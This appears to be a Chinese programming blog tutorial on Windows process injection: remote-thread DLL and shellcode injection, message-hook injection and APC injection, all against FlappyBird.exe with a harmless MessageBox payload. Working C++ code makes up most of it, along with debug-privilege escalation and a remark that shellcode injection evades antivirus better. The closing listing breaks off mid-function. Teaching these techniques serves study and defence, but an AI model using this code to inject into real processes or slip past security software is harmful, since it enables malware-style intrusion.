0


Windows 动态注入(远程线程、消息钩子、APC)

Windows PC端动态注入(远程线程、消息钩子、APC)

说明:实现注入进程“FlappyBird.exe”,实现弹窗。完整代码在文末。

文章目录

远程线程注入

注入DLL

首先需要一个事先准备好的DLL文件testDLL.dll,用vs2019创建一个DLL工程,在程序入口调用MessageBoxA()。

远程线程DLL注入的基本原理是利用Windows提供的API函数**CreateRemoteThread()**,实现在另外一个进程中注入一个线程,后续只要在线程体中执行加载testDLL.dll的操作,目标进程就会执行testDLL.dll中的代码了。

一个比较关键的问题是创建的远程线程是在目标进程中执行,无法调用本地函数,因此要利用系统API实现加载dll文件的操作。Win32程序在运行时都会加载kernel32.dll,而Windows默认同一个系统中dll的文件加载位置是固定的,因此kernel32.dll中的导出函数在任何进程的地址空间中的位置是固定的。动态加载dll文件需要系统API **LoadLibraryA()**,这个函数正好是kernel32.dll的导出函数。因此我们只需要在注射器程序中获取LoadLibraryA()的地址,令创建的远程线程执行LoadLibraryA(),传入参数testDLL.dll的路径,即可实现远程线程DLL注入。

具体实现步骤及部分源码如下(所有完整代码见文末):

1、根据进程名(“FlappyBird.exe”)查找进程ID

自己实现函数FindProcess(),入口参数:进程名、进程ID(出参);步骤如下:

调用CreateToolhelp32Snapshot()获取进程快照;传入参数Th32CS_SNAPPROCESS用于指定“在快照中包含系统中所有的进程”

调用**Process32First()、Process32Next()**遍历进程信息,对进程名进行字符串比较直至与目标进程名相等。

  1. //由进程名获取进程ID
  2. bool FindProcess(const wchar_t* processName, DWORD& dwProcess) {
  3. PROCESSENTRY32 pe32;
  4. pe32.dwSize = sizeof(PROCESSENTRY32);
  5. //获取进程快照
  6. HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  7. if (hProcessSnap == INVALID_HANDLE_VALUE) {
  8. return false;
  9. }
  10. if (Process32First(hProcessSnap, &pe32)) {
  11. do {
  12. if (wcscmp(pe32.szExeFile, processName) == 0) {
  13. dwProcess = pe32.th32ProcessID;
  14. break;
  15. }
  16. } while (Process32Next(hProcessSnap, &pe32));
  17. }
  18. CloseHandle(hProcessSnap);
  19. if(dwProcess == 0) {
  20. return false;
  21. }
  22. return true;
  23. }

2、调用OpenProcess()获取进程句柄,传入参数dwProcess(进程ID);调用VirtualAllocEx()在目标进程中为testDLL.dll的路径(字符串)分配内存空间(用于之后作为LoadLibraryA的参数);调用**WriteProcessMemory()**将testDLL.dll的路径写入内存。

调用LoadLibrary()加载动态链接库“kernel32.dll”,调用GetProcAddress()获取“LoadLibraryA”的地址。

调用CreateRemoteThread()创建远程线程,传入参数LoadLibraryA()地址和存放testDLL.dll路径的内存地址。等待线程结束关闭句柄,释放内存空间。

  1. //DLL远程线程注入
  2. void CreateRemoteThread_Inject(){
  3. DWORD dwProcess = 0;
  4. char myDLL[] = "C:\\testDLL.dll";
  5. //查找进程FlappyBird.exe
  6. if(FindProcess(L"FlappyBird.exe", dwProcess)){
  7. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess); //打开进程
  8. LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); //在进程中分配内存
  9. WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); //写入DLL路径
  10. HMODULE hModule = LoadLibrary(L"kernel32.dll"); //获取kernel32.dll模块句柄
  11. //获取LoadLibraryA函数地址
  12. LPTHREAD_START_ROUTINE pfnStarAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
  13. if(pfnStarAddress == NULL){
  14. cout << "GetProcAddress failed" << endl;
  15. return;
  16. }
  17. HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL, pfnStarAddress, allocatedMem, NULL, NULL); //创建远程线程
  18. if(hRemoteThread == NULL){
  19. cout << "CreateRemoteThread failed" << endl;
  20. return;
  21. }
  22. WaitForSingleObject(hRemoteThread, INFINITE); //等待远程线程结束
  23. CloseHandle(hRemoteThread);
  24. VirtualFreeEx(hProcess, allocatedMem, 0, MEM_FREE);
  25. }
  26. return;
  27. }

注入Shellcode

DLL注入实现虽然简单,但是会在目标进程加载一个模块,已经能够被多数杀软主动拦截;我们用**CreateRemoteThread()**函数实现DLL远程线程注入,也可以自己编写Shellcode实现注入,相对DLL来说隐蔽性更强。

注入shellcode的难点是,由于注入的代码要“写入”其他进程空间当中,因此不能使用任何全局变量、不能调用本地定义的函数、不能调用一些库函数等等。当然,shellcode使用栈空间的局部变量、使用系统API(kernel32.dll)都是没有问题的,如果使用其他dll库的函数可以用kernel32.dll导出函数**LoadLibraryA()加载对应的dll后,再使用GetProcAddress()**获取函数地址。

远程线程注入shellcode的原理与注入DLL原理类似,都是使用**OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread **的框架,关键在于shellcode的编写,以在目标进程执行MessageBox()为例,具体步骤和部分代码如下:

1、定义线程参数结构体,用于接收API(LoadLibraryA()和GetProcAddress()的地址)和参数(加载的dll名、调用的API、API的参数);定义函数指针;

  1. //该结构体用于接收API和4个字符串
  2. typedef struct _THREAD_PARAM {
  3. FARPROC pFunc[2];
  4. char szBuf[4][128];
  5. } THREAD_PARAM, *PTHREAD_PARAM;
  6. typedef HMODULE (WINAPI *PFLOADLIBRARYA)
  7. (
  8. LPCSTR lpLibFileName
  9. ); //定义LoadLibraryA函数指针
  10. typedef FARPROC (WINAPI *PFGETPROCADDRESS)
  11. (
  12. HMODULE hModule,
  13. LPCSTR lpProcName
  14. ); //定义GetProcAddress函数指针
  15. typedef int (WINAPI *PFMESSAGEBOXA)
  16. (
  17. HWND hWnd,
  18. LPCSTR lpText,
  19. LPCSTR lpCaption,
  20. UINT uType
  21. ); //定义MessageBoxA函数指针

2、编写shellcode,以上述结构体类型作为参数,依次调用API,实现调用MessageBoxA();

  1. //线程函数
  2. //未直接调用相关API和未直接定义使用字符串,而通过THREAD_PARAM结构体以线程参数的形式传递使用
  3. DWORD WINAPI ThreadProc(LPVOID lpParam)
  4. {
  5. PTHREAD_PARAM pParam = (PTHREAD_PARAM)lpParam;
  6. HMODULE hMod = NULL;
  7. FARPROC pFunc = NULL;
  8. hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); //调用LoadLibraryA函数
  9. if (hMod == NULL)
  10. {
  11. return 1;
  12. }
  13. pFunc = ((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); //获取MessageBoxA函数地址
  14. if (pFunc == NULL)
  15. {
  16. return 1;
  17. }
  18. ((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], 0); //调用MessageBoxA函数
  19. return 0;
  20. }

3、实现提权函数EnableDebugPrivilege()

  1. bool EnableDebugPrivilege() {
  2. HANDLE hToken;
  3. TOKEN_PRIVILEGES tp;
  4. //打开进程令牌
  5. if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
  6. cout<<"OpenProcessToken failed"<<endl;
  7. return false;
  8. }
  9. //获取LUID
  10. if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
  11. cout<<"LookupPrivilegeValue failed"<<endl;
  12. return false ;
  13. }
  14. //设置权限
  15. tp.PrivilegeCount = 1; //只设置一个权限
  16. tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置权限为启用,如果为SE_PRIVILEGE_REMOVED则为禁用
  17. //修改进程令牌,提升权限,使得能够访问受保护的进程,如系统进程,其他用户进程等
  18. if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
  19. cout<<"AdjustTokenPrivileges failed"<<endl;
  20. return false;
  21. }
  22. return true;
  23. }

4、实现注入

准备好参数,使用CreatRemoteThread()框架实现注入,注意为代码申请的内存必须设置为可读可写可执行,注意将参数和shellcode都写入目标进程。

  1. void CreateRemoteThread_shellcode()
  2. {
  3. EnableDebugPrivilege(); //提升权限
  4. DWORD dwProcess = 0;
  5. //查找进程FlappyBird.exe
  6. if(FindProcess(L"FlappyBird.exe", dwProcess)){
  7. HMODULE hMod = NULL;
  8. THREAD_PARAM param = {0,}; //定义线程结构体变量
  9. HANDLE hProcess = NULL;
  10. HANDLE hThread = NULL;
  11. LPVOID pRemoteBuf[2] = {0,};
  12. DWORD dwSize = 0;
  13. hMod = GetModuleHandleA("kernel32.dll");
  14. //设置THREAD_PARAM结构体
  15. //加载到所有进程的kernel32.dll的地址都相同,因此从本进程获取的API与在目标进程中获取的API地址是一样的
  16. param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
  17. param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
  18. strcpy_s(param.szBuf[0], "user32.dll");
  19. strcpy_s(param.szBuf[1], "MessageBoxA");
  20. strcpy_s(param.szBuf[2], "shellcode Success");
  21. strcpy_s(param.szBuf[3], "inject");
  22. hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);
  23. if (hProcess == NULL)
  24. {
  25. cout<<"OpenProcess failed"<<endl;
  26. return;
  27. }
  28. //分配内存
  29. dwSize = sizeof(THREAD_PARAM);
  30. pRemoteBuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
  31. if (pRemoteBuf[0] == NULL)
  32. {
  33. cout<<"VirtualAllocEx failed"<<endl;
  34. return;
  35. }
  36. //将线程参数写入目标进程
  37. if (!WriteProcessMemory(hProcess, pRemoteBuf[0], (LPVOID)&param, dwSize, NULL))
  38. {
  39. cout<<"WriteProcessMemory failed"<<endl;
  40. return;
  41. }
  42. dwSize = (DWORD)CreateRemoteThread_shellcode - (DWORD)ThreadProc; //计算shellcode大小
  43. pRemoteBuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  44. if (pRemoteBuf[1] == NULL)
  45. {
  46. cout<<"VirtualAllocEx failed"<<endl;
  47. return;
  48. }
  49. //将shellcode写入目标进程
  50. if (!WriteProcessMemory(hProcess, pRemoteBuf[1], (LPVOID)ThreadProc, dwSize, NULL))
  51. {
  52. cout<<"WriteProcessMemory failed"<<endl;
  53. return;
  54. }
  55. //创建远程线程
  56. hThread = CreateRemoteThread(
  57. hProcess,
  58. NULL,
  59. 0,
  60. (LPTHREAD_START_ROUTINE)pRemoteBuf[1], //线程函数地址
  61. pRemoteBuf[0], //线程参数地址
  62. 0, NULL
  63. );
  64. if (hThread == NULL)
  65. {
  66. cout<<"CreateRemoteThread failed"<<endl;
  67. return;
  68. }
  69. WaitForSingleObject(hThread, INFINITE);
  70. CloseHandle(hThread);
  71. CloseHandle(hProcess);
  72. }
  73. }

消息钩子注入DLL

消息钩子注入原理是利用Windows提供的**SetWindowsHookEx()**函数,它可以拦截进程的消息到指定的DLL中导出的函数,目标进程就会自动加载我们指定的DLL,利用这个特性可以实现消息钩子注入。

具体实现步骤和部分源码如下:

1、编写一个testDLL.dll用于Hook,在其中显式导出一个函数**NextHook()**;

  1. //导出函数
  2. extern "C" __declspec(dllexport) int NextHook(int code, WPARAM wParam, LPARAM lParam){
  3. return CallNextHookEx(NULL, code, wParam, lParam);
  4. }

2、在注射器中首先调用FindWindow()查找窗口“FlappyBird”获取窗口句柄;调用GetWindowThreadProcessId()获取进程ID和线程ID;调用LoadLibraryEx()加载testDLL.dll到自身进程,传入参数DONT_RESOLVE_DLL_REFERENCES用于指定“不对DLL初始化”;调用**GetProcAddress()获取钩子函数NextHook()**的地址;

  1. int SetWindowHookEx_inject() {
  2. HWND hwnd = FindWindow(NULL, L"FlappyBird"); //查找窗口
  3. if (hwnd == NULL) {
  4. cout << "FindWindow failed" << endl;
  5. return 1;
  6. }
  7. DWORD pid = NULL;
  8. DWORD tid = GetWindowThreadProcessId(hwnd, &pid); //获取进程ID
  9. if (tid == NULL) {
  10. cout << "GetWindow tid/pid failed" << endl;
  11. return 1;
  12. }
  13. HMODULE dll = LoadLibraryEx(L"C:\\testDLL.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); //加载DLL
  14. if (dll == NULL) {
  15. cout << "LoadLibraryEx DLL failed" << endl;
  16. return 1;
  17. }
  18. HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "NextHook"); //获取钩子函数地址
  19. if (addr == NULL) {
  20. cout << "GetProcAddress failed" << endl;
  21. return 1;
  22. }
  23. HHOOK handle = SetWindowsHookEx(WH_GETMESSAGE, addr, dll, tid); //设置钩子
  24. if (handle == NULL) {
  25. cout << "SetWindowsHookEx failed" << endl;
  26. return EXIT_FAILURE;
  27. }
  28. PostThreadMessage(tid, WM_NULL, 0, 0); //发送消息,触发钩子
  29. cout<<"SetWindowsHookEx_inject success"<<endl;
  30. cout<<"Press any key to unhook"<<endl;
  31. getchar();
  32. BOOL unhook = UnhookWindowsHookEx(handle); //卸载钩子
  33. if (unhook == NULL) {
  34. cout << "UnhookWindowsHookEx failed" << endl;
  35. return EXIT_FAILURE;
  36. }
  37. return 0;
  38. }

APC注入DLL

APC全称Asynchronous Procedure Call,叫异步过程调用,是指函数在特定现场中被异步执行,在操作系统中,APC是一种并发机制。

APC注入实现原理核心是利用QueueUserApc()这个API添加制定的回调函数到目标线程的APC队列中,系统会产生一个软中断,在线程下一次被调度/唤醒的时候,就会执行回调函数,因此我们只需要令LoadLibraryW作为回调函数,并且传入参数dll路径,即可实现注入。

当然APC注入是有条件的,用户态下的APC请求想要执行,必须等待线程进入“Alertable”状态,而只有当线程调用特定函数(SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx或WaitForSingleObjectEx)时,才会进入Alertable状态,所以为了应对这种苛刻的条件,提高注入成功的机率同时缩短等待时间,我们需要遍历进程的所有线程,并对每一个线程进行APC注入。

具体实现步骤和部分源码如下:

1、根据进程名(“FlappyBird.exe”)查找进程ID并且获取所有的线程ID,获取线程ID的方法与查找进程ID类似;

  1. //根据进程名获取进程ID及其所有线程ID
  2. bool FindProcess2(const wchar_t* processName, DWORD& dwProcess, vector<DWORD>& dwThreads) {
  3. PROCESSENTRY32 pe32;
  4. pe32.dwSize = sizeof(PROCESSENTRY32);
  5. HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //创建进程快照
  6. if (hProcessSnap == INVALID_HANDLE_VALUE) {
  7. cout << "CreateToolhelp32Snapshot failed" << endl;
  8. return false;
  9. }
  10. if (!Process32First(hProcessSnap, &pe32)) { //获取第一个进程信息
  11. cout << "Process32First failed" << endl;
  12. CloseHandle(hProcessSnap);
  13. return false;
  14. }
  15. do {
  16. if (wcscmp(pe32.szExeFile, processName) == 0) {
  17. dwProcess = pe32.th32ProcessID;
  18. break;
  19. }
  20. } while (Process32Next(hProcessSnap, &pe32));
  21. CloseHandle(hProcessSnap);
  22. if (dwProcess == NULL) {
  23. cout << "FindProcess failed" << endl;
  24. return false;
  25. }
  26. THREADENTRY32 te32;
  27. te32.dwSize = sizeof(THREADENTRY32);
  28. HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); //创建线程快照
  29. if (hThreadSnap == INVALID_HANDLE_VALUE) {
  30. cout << "CreateToolhelp32Snapshot failed" << endl;
  31. return false;
  32. }
  33. if (!Thread32First(hThreadSnap, &te32)) {
  34. cout << "Thread32First failed" << endl;
  35. CloseHandle(hThreadSnap);
  36. return false;
  37. }
  38. do {
  39. if (te32.th32OwnerProcessID == dwProcess) {
  40. dwThreads.push_back(te32.th32ThreadID); //获取目标进程的所有线程ID
  41. }
  42. } while (Thread32Next(hThreadSnap, &te32));
  43. CloseHandle(hThreadSnap);
  44. if (dwThreads.size() == 0) {
  45. cout << "FindThread failed" << endl;
  46. return false;
  47. }
  48. return true;
  49. }

2、调用OpenProcess()获取进程句柄,调用VirtuealAllocEx()为参数dll路径远程申请内存,调用WriteProcessMemory()写入dll路径;遍历所有线程,插入APC;具体插入步骤为:调用OpenThread()获取线程句柄,调用GetProcAddress()和GetModuleHandle()获取LoadLibraryW()地址,调用QueueUserAPC()实现插入APC。

  1. void APC_Inject(){
  2. DWORD pid;
  3. vector<DWORD> tids; //需要获取进程所有的线程ID
  4. if (FindProcess2(L"FlappyBird.exe", pid, tids)) {
  5. HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
  6. if (hProcess == NULL) {
  7. cout << "OpenProcess failed" << endl;
  8. return;
  9. }
  10. auto p = VirtualAllocEx(hProcess, NULL, 1<<12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //在目标进程中申请内存
  11. wchar_t buffer[] = L"C:\\testDLL.dll";
  12. WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), NULL); //将DLL路径写入目标进程中
  13. for(const auto& tid: tids){
  14. HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
  15. if (hThread == NULL) {
  16. cout << "OpenThread failed" << endl;
  17. return;
  18. }
  19. QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),hThread,(ULONG_PTR)p); //将APC注入到目标进程中
  20. }
  21. VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
  22. }
  23. }

完整代码

inject.cpp

  1. #include <iostream>
  2. #include <vector>
  3. #include <Windows.h>
  4. #include <TlHelp32.h>
  5. #include <Psapi.h>
  6. #include <string>
  7. #include <tchar.h>
  8. using namespace std;
  9. //由进程名获取进程ID
  10. bool FindProcess(const wchar_t* processName, DWORD& dwProcess) {
  11. PROCESSENTRY32 pe32;
  12. pe32.dwSize = sizeof(PROCESSENTRY32);
  13. //获取进程快照
  14. HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  15. if (hProcessSnap == INVALID_HANDLE_VALUE) {
  16. return false;
  17. }
  18. if (Process32First(hProcessSnap, &pe32)) {
  19. do {
  20. if (wcscmp(pe32.szExeFile, processName) == 0) {
  21. dwProcess = pe32.th32ProcessID;
  22. break;
  23. }
  24. } while (Process32Next(hProcessSnap, &pe32));
  25. }
  26. CloseHandle(hProcessSnap);
  27. if(dwProcess == 0) {
  28. return false;
  29. }
  30. return true;
  31. }
  32. //DLL远程线程注入
  33. void CreateRemoteThread_Inject(){
  34. DWORD dwProcess = 0;
  35. char myDLL[] = "C:\\testDLL.dll";
  36. //查找进程FlappyBird.exe
  37. if(FindProcess(L"FlappyBird.exe", dwProcess)){
  38. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess); //打开进程
  39. LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); //在进程中分配内存
  40. WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); //写入DLL路径
  41. HMODULE hModule = LoadLibrary(L"kernel32.dll"); //获取kernel32.dll模块句柄
  42. //获取LoadLibraryA函数地址
  43. LPTHREAD_START_ROUTINE pfnStarAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
  44. if(pfnStarAddress == NULL){
  45. cout << "GetProcAddress failed" << endl;
  46. return;
  47. }
  48. HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL, pfnStarAddress, allocatedMem, NULL, NULL); //创建远程线程
  49. if(hRemoteThread == NULL){
  50. cout << "CreateRemoteThread failed" << endl;
  51. return;
  52. }
  53. WaitForSingleObject(hRemoteThread, INFINITE); //等待远程线程结束
  54. CloseHandle(hRemoteThread);
  55. VirtualFreeEx(hProcess, allocatedMem, 0, MEM_FREE);
  56. }
  57. return;
  58. }
  59. //***********************************************Shellcode远程线程注入***********************************************
  60. bool EnableDebugPrivilege() {
  61. HANDLE hToken;
  62. TOKEN_PRIVILEGES tp;
  63. //打开进程令牌
  64. if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
  65. cout<<"OpenProcessToken failed"<<endl;
  66. return false;
  67. }
  68. //获取LUID
  69. if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
  70. cout<<"LookupPrivilegeValue failed"<<endl;
  71. return false ;
  72. }
  73. //设置权限
  74. tp.PrivilegeCount = 1; //只设置一个权限
  75. tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置权限为启用,如果为SE_PRIVILEGE_REMOVED则为禁用
  76. //修改进程令牌,提升权限,使得能够访问受保护的进程,如系统进程,其他用户进程等
  77. if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
  78. cout<<"AdjustTokenPrivileges failed"<<endl;
  79. return false;
  80. }
  81. return true;
  82. }
  83. //该结构体用于接收API和4个字符串
  84. typedef struct _THREAD_PARAM {
  85. FARPROC pFunc[2];
  86. char szBuf[4][128];
  87. } THREAD_PARAM, *PTHREAD_PARAM;
  88. typedef HMODULE (WINAPI *PFLOADLIBRARYA)
  89. (
  90. LPCSTR lpLibFileName
  91. ); //定义LoadLibraryA函数指针
  92. typedef FARPROC (WINAPI *PFGETPROCADDRESS)
  93. (
  94. HMODULE hModule,
  95. LPCSTR lpProcName
  96. ); //定义GetProcAddress函数指针
  97. typedef int (WINAPI *PFMESSAGEBOXA)
  98. (
  99. HWND hWnd,
  100. LPCSTR lpText,
  101. LPCSTR lpCaption,
  102. UINT uType
  103. ); //定义MessageBoxA函数指针
  104. //线程函数
  105. //未直接调用相关API和未直接定义使用字符串,而通过THREAD_PARAM结构体以线程参数的形式传递使用
  106. DWORD WINAPI ThreadProc(LPVOID lpParam)
  107. {
  108. PTHREAD_PARAM pParam = (PTHREAD_PARAM)lpParam;
  109. HMODULE hMod = NULL;
  110. FARPROC pFunc = NULL;
  111. hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); //调用LoadLibraryA函数
  112. if (hMod == NULL)
  113. {
  114. return 1;
  115. }
  116. pFunc = ((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); //获取MessageBoxA函数地址
  117. if (pFunc == NULL)
  118. {
  119. return 1;
  120. }
  121. ((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], 0); //调用MessageBoxA函数
  122. return 0;
  123. }
  124. //shellcode 注入
  125. void CreateRemoteThread_shellcode()
  126. {
  127. EnableDebugPrivilege(); //提升权限
  128. DWORD dwProcess = 0;
  129. //查找进程FlappyBird.exe
  130. if(FindProcess(L"FlappyBird.exe", dwProcess)){
  131. HMODULE hMod = NULL;
  132. THREAD_PARAM param = {0,}; //定义线程结构体变量
  133. HANDLE hProcess = NULL;
  134. HANDLE hThread = NULL;
  135. LPVOID pRemoteBuf[2] = {0,};
  136. DWORD dwSize = 0;
  137. hMod = GetModuleHandleA("kernel32.dll");
  138. //设置THREAD_PARAM结构体
  139. //加载到所有进程的kernel32.dll的地址都相同,因此从本进程获取的API与在目标进程中获取的API地址是一样的
  140. param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
  141. param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
  142. strcpy_s(param.szBuf[0], "user32.dll");
  143. strcpy_s(param.szBuf[1], "MessageBoxA");
  144. strcpy_s(param.szBuf[2], "shellcode Success");
  145. strcpy_s(param.szBuf[3], "inject");
  146. hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);
  147. if (hProcess == NULL)
  148. {
  149. cout<<"OpenProcess failed"<<endl;
  150. return;
  151. }
  152. //分配内存
  153. dwSize = sizeof(THREAD_PARAM);
  154. pRemoteBuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
  155. if (pRemoteBuf[0] == NULL)
  156. {
  157. cout<<"VirtualAllocEx failed"<<endl;
  158. return;
  159. }
  160. //将线程参数写入目标进程
  161. if (!WriteProcessMemory(hProcess, pRemoteBuf[0], (LPVOID)&param, dwSize, NULL))
  162. {
  163. cout<<"WriteProcessMemory failed"<<endl;
  164. return;
  165. }
  166. dwSize = (DWORD)CreateRemoteThread_shellcode - (DWORD)ThreadProc; //计算shellcode大小
  167. pRemoteBuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  168. if (pRemoteBuf[1] == NULL)
  169. {
  170. cout<<"VirtualAllocEx failed"<<endl;
  171. return;
  172. }
  173. //将shellcode写入目标进程
  174. if (!WriteProcessMemory(hProcess, pRemoteBuf[1], (LPVOID)ThreadProc, dwSize, NULL))
  175. {
  176. cout<<"WriteProcessMemory failed"<<endl;
  177. return;
  178. }
  179. //创建远程线程
  180. hThread = CreateRemoteThread(
  181. hProcess,
  182. NULL,
  183. 0,
  184. (LPTHREAD_START_ROUTINE)pRemoteBuf[1], //线程函数地址
  185. pRemoteBuf[0], //线程参数地址
  186. 0, NULL
  187. );
  188. if (hThread == NULL)
  189. {
  190. cout<<"CreateRemoteThread failed"<<endl;
  191. return;
  192. }
  193. WaitForSingleObject(hThread, INFINITE);
  194. CloseHandle(hThread);
  195. CloseHandle(hProcess);
  196. }
  197. }
  198. //***********************************************消息钩子注入***********************************************
  199. int SetWindowHookEx_inject() {
  200. HWND hwnd = FindWindow(NULL, L"FlappyBird"); //查找窗口
  201. if (hwnd == NULL) {
  202. cout << "FindWindow failed" << endl;
  203. return 1;
  204. }
  205. DWORD pid = NULL;
  206. DWORD tid = GetWindowThreadProcessId(hwnd, &pid); //获取进程ID
  207. if (tid == NULL) {
  208. cout << "GetWindow tid/pid failed" << endl;
  209. return 1;
  210. }
  211. HMODULE dll = LoadLibraryEx(L"C:\\testDLL.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); //加载DLL
  212. if (dll == NULL) {
  213. cout << "LoadLibraryEx DLL failed" << endl;
  214. return 1;
  215. }
  216. HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "NextHook"); //获取钩子函数地址
  217. if (addr == NULL) {
  218. cout << "GetProcAddress failed" << endl;
  219. return 1;
  220. }
  221. HHOOK handle = SetWindowsHookEx(WH_GETMESSAGE, addr, dll, tid); //设置钩子
  222. if (handle == NULL) {
  223. cout << "SetWindowsHookEx failed" << endl;
  224. return EXIT_FAILURE;
  225. }
  226. PostThreadMessage(tid, WM_NULL, 0, 0); //发送消息,触发钩子
  227. cout<<"SetWindowsHookEx_inject success"<<endl;
  228. cout<<"Press any key to unhook"<<endl;
  229. getchar();
  230. BOOL unhook = UnhookWindowsHookEx(handle); //卸载钩子
  231. if (unhook == NULL) {
  232. cout << "UnhookWindowsHookEx failed" << endl;
  233. return EXIT_FAILURE;
  234. }
  235. return 0;
  236. }
  237. //***********************************************APC注入***********************************************
  238. //根据进程名获取进程ID及其所有线程ID
  239. bool FindProcess2(const wchar_t* processName, DWORD& dwProcess, vector<DWORD>& dwThreads) {
  240. PROCESSENTRY32 pe32;
  241. pe32.dwSize = sizeof(PROCESSENTRY32);
  242. HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //创建进程快照
  243. if (hProcessSnap == INVALID_HANDLE_VALUE) {
  244. cout << "CreateToolhelp32Snapshot failed" << endl;
  245. return false;
  246. }
  247. if (!Process32First(hProcessSnap, &pe32)) { //获取第一个进程信息
  248. cout << "Process32First failed" << endl;
  249. CloseHandle(hProcessSnap);
  250. return false;
  251. }
  252. do {
  253. if (wcscmp(pe32.szExeFile, processName) == 0) {
  254. dwProcess = pe32.th32ProcessID;
  255. break;
  256. }
  257. } while (Process32Next(hProcessSnap, &pe32));
  258. CloseHandle(hProcessSnap);
  259. if (dwProcess == NULL) {
  260. cout << "FindProcess failed" << endl;
  261. return false;
  262. }
  263. THREADENTRY32 te32;
  264. te32.dwSize = sizeof(THREADENTRY32);
  265. HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); //创建线程快照
  266. if (hThreadSnap == INVALID_HANDLE_VALUE) {
  267. cout << "CreateToolhelp32Snapshot failed" << endl;
  268. return false;
  269. }
  270. if (!Thread32First(hThreadSnap, &te32)) {
  271. cout << "Thread32First failed" << endl;
  272. CloseHandle(hThreadSnap);
  273. return false;
  274. }
  275. do {
  276. if (te32.th32OwnerProcessID == dwProcess) {
  277. dwThreads.push_back(te32.th32ThreadID); //获取目标进程的所有线程ID
  278. }
  279. } while (Thread32Next(hThreadSnap, &te32));
  280. CloseHandle(hThreadSnap);
  281. if (dwThreads.size() == 0) {
  282. cout << "FindThread failed" << endl;
  283. return false;
  284. }
  285. return true;
  286. }
  287. void APC_Inject(){
  288. DWORD pid;
  289. vector<DWORD> tids; //需要获取进程所有的线程ID
  290. if (FindProcess2(L"FlappyBird.exe", pid, tids)) {
  291. HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
  292. if (hProcess == NULL) {
  293. cout << "OpenProcess failed" << endl;
  294. return;
  295. }
  296. auto p = VirtualAllocEx(hProcess, NULL, 1<<12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //在目标进程中申请内存
  297. wchar_t buffer[] = L"C:\\testDLL.dll";
  298. WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), NULL); //将DLL路径写入目标进程中
  299. for(const auto& tid: tids){
  300. HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
  301. if (hThread == NULL) {
  302. cout << "OpenThread failed" << endl;
  303. return;
